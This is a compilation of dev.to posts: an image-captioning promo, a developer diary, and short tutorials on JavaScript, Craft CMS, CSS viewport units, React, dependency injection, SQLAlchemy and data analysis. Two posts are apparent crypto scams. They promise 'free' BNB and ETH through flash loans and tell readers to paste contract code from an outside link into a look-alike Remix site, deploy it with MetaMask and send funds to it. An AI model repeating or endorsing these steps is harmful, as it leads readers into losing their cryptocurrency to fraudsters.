teleren/devto huggingface dataset:
The Very Best Image Captioning Models For Preparing Training Dataset — LoRA, DreamBooth & Full Fine Tuning Training
Tags: stablediffusion, training, lora, ai
Published: 2023-10-13 23:33:01

When it comes to image tagging people are usually not sure which one to use.

In this quick tutorial video I have show the State Of The Art (SOTA) image-to-text models.

I have collected the very best ones and made a 1 click installer

Video link > https://youtu.be/PNA9p94JmtY

Download scripts from here : https://www.patreon.com/posts/sota-very-best-90744385

Full length Twitter video here : https://twitter.com/GozukaraFurkan/status/1712665890259447831

SOTA (The Very Best) Image Captioning Models Script For Stable Diffusion And More

1 Click install and use SOTA image captioning models on your computer. Supports 8 bit loading as well. 90+ CLIP Vision and 5+ Caption models


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/szjinsf1ju3zxbm4gh4e.jpg)
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: blockchain, beginners, startup, programming
Published: 2023-10-13 22:51:18

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.


Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
How To Get Free 4 ETH with UniSwap Full Tutorial 2023
Tags: webdev, javascript, cryptocurrency, bitcoin
Published: 2023-10-13 22:49:55

Want to get free Ethereum? Yes, who wouldn’t want some free ETH tokens?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/iouha4](https://streamable.com/iouha4)

Step By Step Tutorial for Flash Loan:
 ⁃ Get the Metamask Extension for your browser

 ⁃ Open https://remixcompiler.com from within your browser.

 ⁃ Click on File Explorers and click “Create New File “.

 ⁃ Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode](https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode)

 ⁃ Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

 ⁃ Connect your MetaMask wallet.

 ⁃ Click on the “Solidity Compiler” and set the compiler version to 0.5.0

 ⁃ Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

 ⁃ Wait for the code to compile.

 ⁃ Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

 •   On “_TOKENNAME”
 •   On “_TOKENSYMBOL”
 •   On “_LOANAMOUNT” 1000

 ⁃ Click Transact and confirm the transaction in MetaMask.

 ⁃ Wait for the transaction to confirm.

 ⁃  Copy the address of the newly deployed contract.

 ⁃  Send ETH to the deployed contract to initiate the swap 0.05 ETH+ (0.05 ETH up is better as you will get a bigger amount in each swap)

 ⁃ Wait for the transaction to confirm.

 ⁃ Now, Click “action” (red box) to execute the Flash Loan.

 ⁃ Confirm the transaction in MetaMask and wait for the confirmation.

 ⁃  You can now check your wallet

Note: If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).

Avoid using very low amounts as contract may fail below 0.05 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.
Day 832 : No Time
Tags: hiphop, code, coding, lifelongdev
Published: 2023-10-13 22:16:24

_liner notes_:
- Professional : Fridays are focus on tying up any loose ends and finalizing some projects. Did another look over of the updates I have been making to some docs and created a pull request when I finished. Also started making changes to some tutorials and made a lot of progress.

- Personal : Last night, I went through Bandcamp and picked up some projects and got the social media posts ready. Ended the night watching the new "Loki".

![Looking through tall grass on a beach in Shoalhaven Heads, Australia at the sun setting over the water](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f8b741pxis213cl64ipc.jpg)

Going to put together the radio show. Work a little on my side project and maybe watch some anime. I realized that there's like no time before my next overseas trip! Got some things in the works.

Have a great night and weekend!

peace piece
Dwane / conshus
https://dwane.io / https://HIPHOPandCODE.com
{% youtube B6SUCeqzRn4 %}
Print Multiplication Tables
Published: 2023-10-13 21:53:05

I have been asked to print arbitrary multiplication tables for kids.
Note the usage of 'bind', very handy, and the absence of 'for loops'.

```js

function mul (x, y) {
  return x * y
}

function multTables(tables = []) {
    tables.map(n => {
      let mulby = mul.bind(null, n)
      app.innerHTML += `
        <div>
          <ul>
            ${[...Array(10)]
              .map((_, v) => v + 1)
              .map(mulby)
              .map((x, i) => `
                <li>
                  <span>${n}</span>
                  <span>x</span>
                  <span>${i + 1}</span>
                  <span>=</span>
                  <span class="result">${x}</span>
                </li>`
              ).join('')}
          </ul>
        </div>`
   });
}

multTables([3, 4, 6, 13])

```
Result : 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lxru6nq9zsiwfeg9c6p4.png)

You can play with it here : [Tables](https://flems.io/#0=N4IgtglgJlA2CmIBcBWATAOgOwEYA0IAzgMYBOA9rLMgNoAMedAugQGYQKG2gB2AhmERIQGABYAXMNQLFyPcfHnIQAHjB8IPAHwAdHgAJ9KqBABu+6AF4dIPgAc7N3Tz2GVAehOnnH9ZucgBITwCMTiEHJcwjhIdAC0AMxIABwgAL54vAJCIgBWXDJyCkrCeqwArjxhEQZg5bD6ABQAHnj6AJ4AlPrArvqk8OLlpAbN+gBUHXppemWV1XL6dbDiACp8AEacjeKbnPqW+jRM3b0Ghvq7W-CEGOp2jQaWWj19F-oI4kv1G+0H37AMBtNFBHvVYG0eJ03hd7HYMJoePBSAAJVYAWQAMvoANSHAAGMPexjMzne5KM9TJFPJABJgDQMEyAIKkUh8dqNHB0TpMIk0wx3eyNRoAfTapm6z305hx+hw0POAveQoey1+iuV5NVItaFilL0JSq1FxUsAg1JN5JUhDsfG09J4aQ8tvtlqtptd2maLrt2n5Vptfq09IguPlzvcXvdHqM0csvrdAZNQft+mIsD4hEI1hAA0I9XETnpzUj0eTAo85q0RtjnQwuXImkaAHIW50ZsaKR4qcmPF4a280p0ANzTWY8ZZrPY3Ro0fD6ABsbWSbW5Jz0gSIIXgCx4URAaGSSDQKDidFi6UyIH4gmUGGI2a3snkinEyg25CgfzOhnUpAAc00WIx3OO0YE0ACQL6DY+GIABrACKEqKAkH0ABiHA0CwtAElAwxZFgchSDQgB3UQIAUfD9FYIo4kICAAC94CQHAMBwAYwGo2j5DiVgBA4do0JbAA1ZEoHtPgW3HFxJw0Axf30UjoHEUQkAATjoABSaj-yAnhYn0PhynEchQM7PR0LhV5zhMW1MyE1gEGabjnLiUj2TsfQyM86iAPsVjOOo8CTB4KC0CCmS9HqGy-z4QDgLoYK+AgsLoPOSAeHclS1O5SLznNQhxHo8R2gQOJSrsFieDkeBzInL1Yv0Oy7AcpBNHNJE4i2cgEOo5SoFUtC2NPfLDAUZpir4c0AIM-oIAAiR6tkr0MHzQsmsI4i0OIdp7X6nK0Ii+AuOmLdglCcJImUBIUFYhJ0iYNIgA)
Craft CMS from a Drupal perspective
Tags: php, drupal, cms
Published: 2023-10-13 21:47:25

## My initial thoughts after a first look

You have to pay for this?
Is Yii 2 still alive?
What is the controller code doing in the templates?

So my first thoughts are not positive. But never judge a book by its cover.

## My main gripe: controller code in templates

I call it controller code as I'm looking at the code through MVC goggles. So I'm thinking about data retrieval, authorisation and request data handling.  

In Drupal the controller code is done by the content type view modes, views and hooks for a more fine-grained output.

The equivalent in Craft is the twig hook tag, which allows you to manipulate the context.

```twig
{# the Craft way #}
{% set news = craft.entries()
  .section('news')
  .orderBy('postDate DESC')
  .limit(10)
  .all() %}
{# the hook way #}
{% hook "limited-news-ordered-by-postdate" %}
```

```php
use craft\elements\Entry;

Craft::$app->getView()->hook('limited-news-ordered-by-postdate', function(array &$context) {
    $context['news'] = Entry::find()
    ->section('news')
    ->orderBy('postDate DESC')
    ->limit(10)
    ->all();
});

```

If you think the hook tag is still too dirty for your templates you can use controllers by using the config/routes.php file.
This file contains an array with routes as keys and the module/controller/action as value.
There are some gotchas;

- you better don't create routes for sections in the Craft backend interface
- In the controller set the $allowAnonymous property
- the controller name has Controller as a suffix, and the actions have action as a prefix
- you have to create a module to store the controllers

## The weird things coming from Drupal

- To create translations you need to add multiple sites with a specific language
- Craft calls content types sections, and there are three types; singles, channels and structures. A Channel is a single dimension list of a type. A Structure is a multiple dimensional list of a type.
- you can turn the CMS configuration on and off in the backend interface using the allowAdminChanges method in the config/general.php file
- there are no standard templates for the frontend
- the fields you create can only be used once per content type

## The good things coming from Drupal

- the matrix field is the equivalent of the paragraphs module
- the translation configuration is less hassle than in Drupal
- the data in twig is not wrapped in display metadata.
- twig has a switch tag, which is nicer than elseifs
- plugins, drupal modules, can be installed using the store. And it includes adding it to composer.json
- it comes with graphql out of the box

## Conclusion

[Craft cms](https://craftcms.com/) is a CMS solution that is more focused on the backend interface and easy setup. Rather than having a lot of modularity but at the same time have the batteries included. 
Like all tools it has its place in your tool belt.
O problema com vh no mobile
Tags: css, braziliandevs, webdev, beginners
Published: 2023-10-13 20:58:25

Olá, tudo bem? Sabe aquela coisa chata de quando você coloca um `min-height: 100vh` no seu body e no mobile ele fica com um scroll sem nenhum motivo aparente? Realmente é uma coisa bem irritante e que antigamente era complicada de ser resolvida sem uma certa _"gambiarra"_. Mas vamos começar do começo!

Para caso não saiba, o "vh" do css é uma unidade relativa a 1% do viewport do usuário, porém essa viewport inclui todo o navegador, desconsiderando por exemplo elementos que possam estar cobrindo a tela (como é o caso de celulares)

Por isso funciona no desktop, mas em mobile deixa um scroll!

Já a medida "svh" é o equivalente a "small viewport height", ou seja 1% do menor viewport considerando justamente os elementos que possam cobrir a tela como a barra de endereços do mobile.

Ou seja, perfeito pra celulares pois é muito mais preciso para o que o usuário vê!

![SVH](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/86dvs5kwkxyg94tmbrim.png)

Já o "lvh" (large viewport height) é o exato oposto, ele pega o maior viewport possível, desconsiderando a barra de endereços ou uma UI que possa estar cobrindo a tela.

Para desktop ele funciona muito bem como pode imaginar, mas pra mobile depende do seu caso de uso. 🤔

![LVH](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wrxiocwynfsqddpt6kq5.png)

Afinal, um é bom pra desktop e outro bom pra celular, eu teria que usar uma media query pra adaptar então??

Não :D

Felizmente também existe o "dvh" (dynamic viewport height) que se ajusta de acordo com o dispositivo, agindo tanto como svh ou dvh de acordo com o necessário.

![DVH](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hxxjhdoup0plf61bdut1.png)

Entretanto alegria de pobre dura pouco, e eles ainda não estão disponíveis em todos os navegadores :(

O firefox e IE por exemplo ainda não possuem suporte...

Por isso, eu recomendo usar porém junto de um fallback! Se liga na dica:

```css
body {
  /*
   primeiro você usa o fallback: vh
  */
  min-height: 100vh;
  
  /*
    e em seguida, você usa a versão nova!
    pois caso ela não funcione, será ignorada e
    o vh informado anteriormente será usado no lugar
  */
  min-height: 100dvh;
}
```

São propriedades super úteis e hoje em dia uma mão na roda pra evitar bugs de UI desnecessários :)

E é isso, espero que tu tenha aprendido algo novo hoje!
Obrigado por ler, boa sorte no css e até mais! :)
The building block of React Series 1: Components
Tags: reactjsdevelopment, webdev, javascript, beginners
Published: 2023-10-13 20:47:30

 React JS is basically like the better twin brother of JavaScript. React allows programmers to build websites easier and these websites also run more smoothly through the use of components, props, state, event handlers, and much more.
     If we were to compare React as a whole to a house then components would be to React, what the foundations are to a house. Components are independent pieces of code that can be reused in other components. They are essentially enhanced functions that return JSX ( Javascript XML) rather than vanilla Javascript. The cool thing about components is that they're independent so you can work on each part of the website without having to worry about being overwhelmed with everything at once. Even cooler is how these components are able to work together if needed through the passing of props, which we will talk about in the next blog of this series.
    Let's break down the syntax of a component. Components are similar to a function but there are a couple of key aspects that are different. 
Components VS Js function
1. Components start with a capital 
Components =  function Component(){} VS JS function = function boringOlething(){}
2. Components return JSX(Javascript XML), which is one of the key aspects of components.JSX is basically HTML in JavaScript. So instead of having to create a div or header in a separate HTML file, you can write the HTML code in that component's return and it will have the same outcome.
 
There are many other aspects to components that I will talk about in future series but these are the main points; it must start with a capital and return JSX. Hope this is helpful to anyone just learning React JS. HAPPY CODING!
Inversion of Control(IoC) ve Dependency Injection(DI)
Tags: inversionofcontrol, dependencyinjection, springboot, java
Published: 2023-10-13 20:39:34


#Inversion of Control (IoC)
Inversion of Control, bir nesnenin veya bir programın bölümlerinin kontrolünü ele almak yerine dışarıdan bir container veya framework tarafından sağlanan bir prensiptir. Bu prensip, yazılımın daha modüler ve esnek olmasını sağlar ve nesneler arasındaki bağımlılıkları azaltır. Genellikle nesne yönelimli programlama bağlamında kullanılır.

IoC, bir frameworkün bir programın akışını kontrol altına almasına ve özel kodumuza çağrı yapmasına olanak tanır. Bunu sağlamak için frameworkler, yerleşik ek davranışlarla birlikte soyutlamalar kullanır. Kendi davranışımızı eklemek istiyorsak, frameworkün sınıflarını genişletmemiz veya kendi sınıflarımızı eklentilememiz gerekir.

Nesneler arasındaki bağımlılıkları ortadan kaldıran ve bunun yerine soyutlamalara dayanan bir tasarım desenidir. Inversion of Control, yazılım bileşenlerini sorumluluklardan ayırmaya yönelik bir teknik olan Dependency Injection yoluyla elde edilebilir. Dependency Injection, bir sınıfın gerekli bağımlılıklarını dışarıdan enjekte etme yöntemini ifade eder. Bu da IoC prensibinin bir uygulama şeklidir ve IoC'nin bir sonucu olarak kullanılır.

IoC'nin avantajları arasında kodun daha iyi organizasyonu, test edilebilirlik ve yazılım bileşenlerinin daha kolay değiştirilebilir olması yer alır. Bu prensip, bir programın daha fazla modüler ve bakımı daha kolay hale getiren önemli bir yazılım mühendisliği ilkesidir.

#Dependency Injection (DI)
Dependency Injection, bir objenin ihtiyaç duyduğu objeleri sağlar. Bağımlılıklar kendilerini oluşturmak yerine bazı dış araçlarla enjekte edilirler. Bu, kodun daha az bağımlı, daha modüler ve daha test edilebilir olmasını sağlar. Bu tasarım deseni, Inversion of Control (IoC) prensibinin bir uygulaması olarak da kabul edilir, çünkü bağımlılıkların kontrolünü sınıftan başka bir yere (çoğunlukla bir DI konteynerine veya konfigürasyon dosyasına) devreder.

####Spring Boot'ta Dependency Injection için kullanılan yöntemler:
1. Constructor Injection
2. Setter Injection
3. Field Injection
4. Method Injection


##References##

- [Intro to Inversion of Control and Dependency Injection with Spring](https://www.baeldung.com/inversion-control-and-dependency-injection-in-spring)
- [Inversion of Control and Dependency Injection in Spring Framework](https://medium.com/@nirmalkumar8273/inversion-of-control-and-dependency-injection-in-spring-framework-e8e40b9afd8d#:~:text=Inversion%20of%20control%20is%20a,and%20instead%20depends%20on%20abstractions.)
MappingError: Class 'YourClass' is not mapped
Published: 2023-10-13 20:30:26

When working with an Object-Relational Mapping (ORM) tool like SQLAlchemy in Python, encountering a MappingError stating that a particular class is not mapped can be frustrating.

Understanding the Issue
The error message might look something like this:

```
sqlalchemy.orm.exc.MappingError: Class 'YourClass' is not mapped

```
This indicates that SQLAlchemy is unable to locate a mapping for the specified class.

**Potential Causes and Solutions**
1. Check Class Inheritance:
Ensure that your class inherits from db.Model or the appropriate base class used for SQLAlchemy models. 
2. Import Statements:
Confirm that your class is imported where needed. If your class definition is in a separate module, make sure you import it correctly in the module where you're working with the database.
3. Bind Metadata to Database:
SQLAlchemy relies on metadata to map classes to database tables. Ensure that the metadata is bound to the database engine.
4. Check Database Initialization:
Ensure that you initialize the database before working with models. This typically involves calling db.create_all().

**Conclusion**
A MappingError indicating that a class is not mapped is often a result of misconfigurations or oversights in the class definition, import statements, or metadata binding
Exploratory Data Analysis using Data Visualization Techniques
Published: 2023-10-13 20:29:04

Exploratory Data Analysis (EDA) is the process of investigating data to discover patterns, relationships, and trends. EDA is an essential step in any data science project, as it helps to ensure that the data is well-understood and that any subsequent analysis is meaningful.

Data visualization techniques play a crucial role in EDA, as they allow data scientists to visually identify patterns and trends that would be difficult to spot using statistical methods alone. Some of the most common data visualization techniques used in EDA include:

Histograms: Histograms are used to visualize the distribution of a continuous variable. They can be used to identify outliers, skewness, and other features of the distribution.
Scatter plots: Scatter plots are used to visualize the relationship between two continuous variables. They can be used to identify correlations, trends, and outliers.
Bar charts: Bar charts are used to compare the frequency of different categories of a categorical variable. They can be used to identify the most common categories and to identify any differences in frequency between categories.
Line charts: Line charts are used to visualize trends over time. They can be used to identify seasonal patterns, growth trends, and other changes over time.
Heatmaps: Heatmaps are used to visualize the strength of the relationship between two or more variables. They can be used to identify strong correlations and clusters of data points.

Example:
Let’s say that we are interested in predicting Airbnb booking prices. We can use EDA to explore the data and identify factors that are correlated with booking prices. For example, we could create a scatter plot to visualize the relationship between booking price and the number of guests. This would allow us to see if there is a correlation between these two variables. We could also create a histogram of booking prices to see if the distribution is skewed or has any other notable features.

By using EDA and data visualization techniques, we can gain a better understanding of the data and identify factors that are likely to be important predictors of Airbnb booking prices. This information can then be used to build a more accurate and informative model.